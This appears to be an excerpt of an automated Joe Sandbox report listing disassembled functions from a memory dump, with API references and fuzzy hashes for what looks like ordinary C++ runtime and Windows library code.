Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 577cac0589eadb7e874cd9de9792b9add69cb7d1aabb14a731eb0ef4674038e5
Instruction ID: 2e54b059c2f02b8679c38c49dcbf59d0e43b85fc036b5d96ba73a17f7e1ac0e0
Opcode Fuzzy Hash: 577cac0589eadb7e874cd9de9792b9add69cb7d1aabb14a731eb0ef4674038e5
Instruction Fuzzy Hash: 9B01C035904229DBCF01EBA8D8056EEBB79FF80310F240509E521EB2D2DF749E81CB92

Function 0081789F Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008178A6
std::_Lockit::_Lockit.LIBCPMT ref: 008178B0

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

messages.LIBCPMT ref: 008178EA
std::_Facet_Register.LIBCPMT ref: 00817901
std::_Lockit::~_Lockit.LIBCPMT ref: 00817921

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 3345cdbc0e0e1694b5935a8c45466c3cfa634e19da07309934cde1aaee818cc2
Instruction ID: d3d9d098fdb5b9e2dca7a609b1cea258d53fd799a2aa289253829e6d71648068
Opcode Fuzzy Hash: 3345cdbc0e0e1694b5935a8c45466c3cfa634e19da07309934cde1aaee818cc2
Instruction Fuzzy Hash: E101AD35900229DBCB00ABA8D8056AEBB79FF84320F240409E510EB2D2DF749E85CB82

Function 008238C1 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 008238C8
std::_Lockit::_Lockit.LIBCPMT ref: 008238D2

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

collate.LIBCPMT ref: 0082390C
std::_Facet_Register.LIBCPMT ref: 00823923
std::_Lockit::~_Lockit.LIBCPMT ref: 00823943

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercollate
String ID:
API String ID: 1007100420-0
Opcode ID: 3e24ca0ed2309cf7b3217bfafeb987d64b6bff9f3869e7c39396603c3189577e
Instruction ID: a81c8eb22d60da345b9c1941a839efb17a913eab55028323dffbbaf265a858ee
Opcode Fuzzy Hash: 3e24ca0ed2309cf7b3217bfafeb987d64b6bff9f3869e7c39396603c3189577e
Instruction Fuzzy Hash: 32019635900629DBCF05EBA8E8156AEBB65FF81710F150409E510EB3D1DFB49F858786

Function 0081780A Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817811
std::_Lockit::_Lockit.LIBCPMT ref: 0081781B

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

ctype.LIBCPMT ref: 00817855
std::_Facet_Register.LIBCPMT ref: 0081786C
std::_Lockit::~_Lockit.LIBCPMT ref: 0081788C

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registerctype
String ID:
API String ID: 83828444-0
Opcode ID: c90d4bd2fe54062b71cf590a5cb016a2dcbfc4a7dd7e6621b8217a2d3a5fd353
Instruction ID: 7a42697e4e5399e1888198cf00ff333a74725fb14f481e1513ccd0ebe4aa9164
Opcode Fuzzy Hash: c90d4bd2fe54062b71cf590a5cb016a2dcbfc4a7dd7e6621b8217a2d3a5fd353
Instruction Fuzzy Hash: E001D27590462ADBCF05EBA8D8056EDBB79FF80310F250519E411EB2D1DF709E81CB82

Function 00817934 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081793B
std::_Lockit::_Lockit.LIBCPMT ref: 00817945

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

messages.LIBCPMT ref: 0081797F
std::_Facet_Register.LIBCPMT ref: 00817996
std::_Lockit::~_Lockit.LIBCPMT ref: 008179B6

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: f3813b86ef1f37abd558928a5deaf887a1f804683a60a74ec9a6058dcf004ad8
Instruction ID: 961766b64d3a67fa1a5b810836d7d8a313f1bc9b21e1ddef72f9fac95133546a
Opcode Fuzzy Hash: f3813b86ef1f37abd558928a5deaf887a1f804683a60a74ec9a6058dcf004ad8
Instruction Fuzzy Hash: F001D235900629DBCF04EBA8D905AEEBB79FF80310F250409E910EB2D1DF749E85CB92

Function 00823956 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0082395D
std::_Lockit::_Lockit.LIBCPMT ref: 00823967

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

messages.LIBCPMT ref: 008239A1
std::_Facet_Register.LIBCPMT ref: 008239B8
std::_Lockit::~_Lockit.LIBCPMT ref: 008239D8

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermessages
String ID:
API String ID: 2750803064-0
Opcode ID: 717160a7afcf9af4b989509bab14e2f594f0e5d025ffeda8d86784bd4fc66804
Instruction ID: 5c05070298292e59a745432ff7f6c0982300aad53afa26269e778ee41bd5ef28
Opcode Fuzzy Hash: 717160a7afcf9af4b989509bab14e2f594f0e5d025ffeda8d86784bd4fc66804
Instruction Fuzzy Hash: EC018435900629DBCB05EBA8E8566AD7B65FF82310F250409E410EB2D1DFB49E81CB82

Function 00823BAA Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00823BB1
std::_Lockit::_Lockit.LIBCPMT ref: 00823BBB

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

moneypunct.LIBCPMT ref: 00823BF5
std::_Facet_Register.LIBCPMT ref: 00823C0C
std::_Lockit::~_Lockit.LIBCPMT ref: 00823C2C

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: fe4a2478c0f55b801e70adf66dbbde98e3637c948daa5bcba10e40929312c87b
Instruction ID: efdbb6166a9e2ee74a8624da6c2153dab73cabbe761f96c318099c12184ab97c
Opcode Fuzzy Hash: fe4a2478c0f55b801e70adf66dbbde98e3637c948daa5bcba10e40929312c87b
Instruction Fuzzy Hash: 2401C039900639DBCB04EFA8E9156ADBB75FF80310F250509E910EB2D1DF749E818B82

Function 00823B15 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00823B1C
std::_Lockit::_Lockit.LIBCPMT ref: 00823B26

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

moneypunct.LIBCPMT ref: 00823B60
std::_Facet_Register.LIBCPMT ref: 00823B77
std::_Lockit::~_Lockit.LIBCPMT ref: 00823B97

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 688469a87a58a03392c418f734c1d3a800a2e0cd245e77dd670399fc635e9d9f
Instruction ID: b267487ede56022c03d97c27067a9daf8594a76edd7aae801b1211992b9be078
Opcode Fuzzy Hash: 688469a87a58a03392c418f734c1d3a800a2e0cd245e77dd670399fc635e9d9f
Instruction Fuzzy Hash: 0501C035900629DBCF00EFA8E8156ADBB65FF84320F250009E514EB2D1DF789E818B82

Function 00817CB2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817CB9
std::_Lockit::_Lockit.LIBCPMT ref: 00817CC3

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

moneypunct.LIBCPMT ref: 00817CFD
std::_Facet_Register.LIBCPMT ref: 00817D14
std::_Lockit::~_Lockit.LIBCPMT ref: 00817D34

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: d71f638c2545bb9ba0b08216514570fde554b5aaeac2eca9bdc5c57767b74d89
Instruction ID: decd06fca1782f2c62f9459db2d9e7d056da696f21f6cc5e7146ff27377c7bc2
Opcode Fuzzy Hash: d71f638c2545bb9ba0b08216514570fde554b5aaeac2eca9bdc5c57767b74d89
Instruction Fuzzy Hash: 3101C075904629DBCF05EBA8D8056FEBB79FF84310F240509E911EB2D2DF749E858B82

Function 00817C1D Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817C24
std::_Lockit::_Lockit.LIBCPMT ref: 00817C2E

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

moneypunct.LIBCPMT ref: 00817C68
std::_Facet_Register.LIBCPMT ref: 00817C7F
std::_Lockit::~_Lockit.LIBCPMT ref: 00817C9F

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 10e6f3d736891e8670767b55e1eff4cf018724a62b600c5b00fc3f106b17db66
Instruction ID: 3eedec0c9ef53a63377dbd1fa959db8e2345505f395dfa56b391bcae32aca706
Opcode Fuzzy Hash: 10e6f3d736891e8670767b55e1eff4cf018724a62b600c5b00fc3f106b17db66
Instruction Fuzzy Hash: A701C035900629DBCB15EBA8D9456EEBB79FF80310F250409E420EB2D2DF749E858BC2

Function 00817DDC Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817DE3
std::_Lockit::_Lockit.LIBCPMT ref: 00817DED

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

moneypunct.LIBCPMT ref: 00817E27
std::_Facet_Register.LIBCPMT ref: 00817E3E
std::_Lockit::~_Lockit.LIBCPMT ref: 00817E5E

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: e9faf32a83d46b7aca5649d1a0f4c7f0b8bbb85d6dc1eece930a3a15a21d8bc9
Instruction ID: 7e248f4467d007811a6f5ae00010c203c13dd227131e903018580d94277de784
Opcode Fuzzy Hash: e9faf32a83d46b7aca5649d1a0f4c7f0b8bbb85d6dc1eece930a3a15a21d8bc9
Instruction Fuzzy Hash: 6101C435904629DBCF00EBA8D8156EE7BB5FF84710F280449E511E72D2DF709E818B82

Function 00817D47 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00817D4E
std::_Lockit::_Lockit.LIBCPMT ref: 00817D58

Part of subcall function 0080BCE0: std::_Lockit::_Lockit.LIBCPMT ref: 0080BD10
Part of subcall function 0080BCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 0080BD38

moneypunct.LIBCPMT ref: 00817D92
std::_Facet_Register.LIBCPMT ref: 00817DA9
std::_Lockit::~_Lockit.LIBCPMT ref: 00817DC9

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registermoneypunct
String ID:
API String ID: 419941038-0
Opcode ID: 530d2f01fe8bacd0d58806483c6df25abc5fea39b9927997b01ff976c08c08e9
Instruction ID: 4e5235da3c8667a7363f02c419c40145ecbb03a9fc95882b7db8e8988042c7bc
Opcode Fuzzy Hash: 530d2f01fe8bacd0d58806483c6df25abc5fea39b9927997b01ff976c08c08e9
Instruction Fuzzy Hash: 73018435900629DBCB05EBA8D945AFE7BB9FF94310F150409E511E72D2DF749E818B82

Function 0082782B Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00864AF8,?,?,00802627,0086571C,0084CCC0), ref: 00827835
LeaveCriticalSection.KERNEL32(00864AF8,?,?,00802627,0086571C,0084CCC0), ref: 00827868
RtlWakeAllConditionVariable.NTDLL ref: 008278DF
SetEvent.KERNEL32(?,00802627,0086571C,0084CCC0), ref: 008278E9
ResetEvent.KERNEL32(?,00802627,0086571C,0084CCC0), ref: 008278F5

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: 557bb8f8d1648d4742f6d672654bd8f8c61683bf5d06c56991a8ccc42579b1f5
Instruction ID: 4bf0935661af1eadd9b8374d9b1adb373ff4b4e6cd2c4b24899d244b349e087b
Opcode Fuzzy Hash: 557bb8f8d1648d4742f6d672654bd8f8c61683bf5d06c56991a8ccc42579b1f5
Instruction Fuzzy Hash: 73014435A45630DFC7159F98FD48A987B65FB0A712B061069F902C3320CBF06D01DBD8

Function 00806090 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 008060F4
GetLastError.KERNEL32 ref: 00806190

Part of subcall function 00801FC0: FindResourceW.KERNEL32(00000000,?,00000006,?,00000000,0084938D,000000FF,?,80070057,?,?,00000000,00000010,00801B09,?), ref: 00802040

LoadLibraryExW.KERNEL32(?,00000000,00000000,00000009,0085B2DC,00000001,00000000), ref: 0080614E

Strings

ntdll.dll, xrefs: 00806126

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: DirectoryErrorFindLastLibraryLoadResourceSystem
String ID: ntdll.dll
API String ID: 4113295189-2227199552
Opcode ID: 078f8c5d0070b03f4850a29c291c55cd178128d935e6d6a2706682e6ad3cb605
Instruction ID: 95441533a63240ea788b3e91412e4f01bfef5b01ca53f0d935130570cd5847c8
Opcode Fuzzy Hash: 078f8c5d0070b03f4850a29c291c55cd178128d935e6d6a2706682e6ad3cb605
Instruction Fuzzy Hash: E2317C71600609DBDB20DF68CC49BAEB7F5FB44720F14861DE425D72D1EBB4A914CB91

Function 0081D2C2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0081D2C9

Part of subcall function 00816FF9: _Maklocstr.LIBCPMT ref: 00817019
Part of subcall function 00816FF9: _Maklocstr.LIBCPMT ref: 00817036
Part of subcall function 00816FF9: _Maklocstr.LIBCPMT ref: 00817053
Part of subcall function 00816FF9: _Maklocchr.LIBCPMT ref: 00817065
Part of subcall function 00816FF9: _Maklocchr.LIBCPMT ref: 00817078

_Mpunct.LIBCPMT ref: 0081D356
_Mpunct.LIBCPMT ref: 0081D370

Strings

$+xv, xrefs: 0081D37B

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 8b9ff57e933d252862923fcacd20b4649a0c6b528984f0ab8ec3872f0d233a29
Instruction ID: 04d89108e40568db363ea1936943901319e975ecc69a70b024bb529ea389b9cc
Opcode Fuzzy Hash: 8b9ff57e933d252862923fcacd20b4649a0c6b528984f0ab8ec3872f0d233a29
Instruction Fuzzy Hash: 6C21A1B1904B52AEDB25DF78849077BBEECFF08300F04465AE499C7A42E734E651CB91

Function 00824DF4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00824DFB
_Mpunct.LIBCPMT ref: 00824E88
_Mpunct.LIBCPMT ref: 00824EA2

Strings

$+xv, xrefs: 00824EAD

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: 137e1383937f1676e925d444c4561ab18a8b2c81e7be45e97558696d19fd5aad
Instruction ID: 81b6dde941fd9095ee671fa5121d06869da4e713a823078c46eeed5c7e824acd
Opcode Fuzzy Hash: 137e1383937f1676e925d444c4561ab18a8b2c81e7be45e97558696d19fd5aad
Instruction Fuzzy Hash: CB21A1B1804BA26EDB21DF78945077BBEE8FB08710F04451AE499C7A42E734E641CBA1

Function 0082C012 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0082BFC3,00000000,?,00864EA4,?,?,?,0082C166,00000004,InitializeCriticalSectionEx,0084F92C,InitializeCriticalSectionEx), ref: 0082C01F
GetLastError.KERNEL32(?,0082BFC3,00000000,?,00864EA4,?,?,?,0082C166,00000004,InitializeCriticalSectionEx,0084F92C,InitializeCriticalSectionEx,00000000,?,0082BF1D), ref: 0082C029
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0082C051

Strings

api-ms-, xrefs: 0082C036

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867282846.0000000000867000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_800000_MSI7F35.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 5d4dbcbe99c92255a7ecf6f8c3a1b13b4ca0c18589b6fbd32567875a26f9c44a
Instruction ID: e3cdea352ab01396f7457c0feaaf2f5c3c3a613f7ee859d4299c3d7ed5ce6f42
Opcode Fuzzy Hash: 5d4dbcbe99c92255a7ecf6f8c3a1b13b4ca0c18589b6fbd32567875a26f9c44a
Instruction Fuzzy Hash: B7E09A75680708B7EF201B61FC06B693B59FB01B95F244031FA0CE84E1D761E995DAD5

Function 0080E350 Relevance: 6.4, APIs: 4, Instructions: 426COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 0080E3F0
_strcspn.LIBCMT ref: 0080E412
LocalFree.KERNEL32(?), ref: 0080E77B
LocalFree.KERNEL32(?), ref: 0080E7C3

Memory Dump Source

Source File: 0000000A.00000002.2867099757.0000000000801000.00000020.00000001.01000000.00000007.sdmp, Offset: 00800000, based on PE: true

Associated: 0000000A.00000002.2867010024.0000000000800000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2867249313.0000000000863000.00000004.00000001.01000000.00000007.sdmpDownload File
